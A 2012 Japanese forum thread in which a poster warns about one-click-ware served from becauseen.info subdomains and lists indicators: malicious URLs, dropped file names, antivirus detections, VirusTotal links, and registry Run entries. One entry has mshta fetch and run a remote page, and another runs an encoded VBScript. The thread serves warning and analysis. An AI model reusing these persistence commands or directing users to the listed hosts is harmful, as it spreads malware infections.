» bbsee [PR]鉄ちゃんにお勧め「電光掲示板風GIFアニメ作成」 . オプション 購読

ワンクリウェア画像

記載してあるＵＲＬはワンクリウェア（ malicious software ）をダウンロードさせるサイトもありますので、むやみにアクセスしないで下さい。　当掲示板についてはHOME「注　(http://bbsee.info/nekoou/id/69.html)へ飛びます」と書いてある緑色のタグをクリックして、お読み下さい。ワンクリウェア（ malicious software ）の駆除法については当該掲示板では答える事はしません、メールでも答えません。
→返信を投稿する →新しい話題を投稿する

sugar　　*.becauseen.info

#6889名前:いぬ時刻:2012-12-23 20:38:38返信IP:FL1-122-131-1-122.myz.mesh.ad.jpID:fb1ff6e8報告:報告

http://n2l.becauseen.info/
http://cq1.becauseen.info/
http://r3d.becauseen.info/
http://*.becauseen.info/
警告:
このURLにアクセスし動画ファイルをダウンロードするとワンクリウェア（ malicious software ）すなわち悪意あるソフトウェアに感染するおそれがあります。
Warning:
When it accesses this URL and the animation file is downloaded, it might be infected malicios [One-Click ware] , that is, with software.

File name「Eccentric.hta」
Kaspersky Trojan-Downloader.HTA.Agent.ec 20121223
https://www.virustotal.com/file/513c6f7eaa35f3e47117a31ca9b8716cab0068000e95385446ba25a912122b00/analysis/1356262165/

C:\Users\Cerberus\AppData\Roaming\Adobe\appMgr2.exe
C:\Windows\system32\mshta.exe
O4 - HKCU\..\Run: [retoil quarner] "C:\Users\Cerberus\AppData\Roaming\Macromedia\quarner.lnk"
O4 - HKCU\..\Run: [abacux41493_988038023] "C:\Windows\system32\mshta" http://85ab.becauseen.info/ds6u/HkMFIhcRBS5s-B1yH6zitQ.htm

Re:sugar　　*.becauseen.info

#6890名前:いぬ時刻:2012-12-23 20:42:33返信IP:FL1-122-131-1-122.myz.mesh.ad.jpID:fb1ff6e8報告:報告

「Task Manager」
appMgr2.exe
mshta.exe

Re:sugar　　*.becauseen.info

#6891名前:いぬ時刻:2012-12-23 20:43:19返信IP:FL1-122-131-1-122.myz.mesh.ad.jpID:fb1ff6e8報告:報告

「File」

Re:sugar　　*.becauseen.info

#6892名前:いぬ時刻:2012-12-23 20:44:55返信IP:FL1-122-131-1-122.myz.mesh.ad.jpID:fb1ff6e8報告:報告

「Files」
File name「postulatetRK.cnf」
Kaspersky Trojan-Downloader.VBS.Obfuscated.ae 20120910
https://www.virustotal.com/file/fcb7c4591d1a7b9a191bc67093156c7efcfbc3398873371cd3f33a6ff829d84e/analysis/

The link place of "quarner"
C:\Users\Cerberus\AppData\Roaming\Adobe\appMgr2.exe //B //E:VBScript.Encode "C:\Users\Cerberus\AppData\Roaming\Macromedia\postulatetRK.cnf"

Re:sugar　　*.becauseen.info

#6893名前:いぬ時刻:2012-12-23 20:45:42返信IP:FL1-122-131-1-122.myz.mesh.ad.jpID:fb1ff6e8報告:報告

「Startup on Registory」
HKCU:Run abacux41493_988038023 "C:\Windows\system32\mshta" http://85ab.becauseen.info/ds6u/HkMFIhcRBS5s-B1yH6zitQ.htm
HKCU:Run retoil quarner "C:\Users\Cerberus\AppData\Roaming\Macromedia\quarner.lnk"

Re:sugar　　*.becauseen.info

#6895名前:MaMst時刻:2012-12-30 14:29:23返信IP:U161253.ppp.dion.ne.jpID:7e74b4f8報告:報告

「この掲示板は一定期間利用されていないと判断されたか、または利用規約違反があったため～削除される予定です。
この判断は利用規約に基づいてなされております。詳しくはこちらをご覧ください。」
という表示がありました。
閉鎖されるのでしょうか？

パスワード：
Powered by bbsee.info. Copyright © 2005-2012
HTML generated at 2012-12-30 15:45:18 (0.083 sec).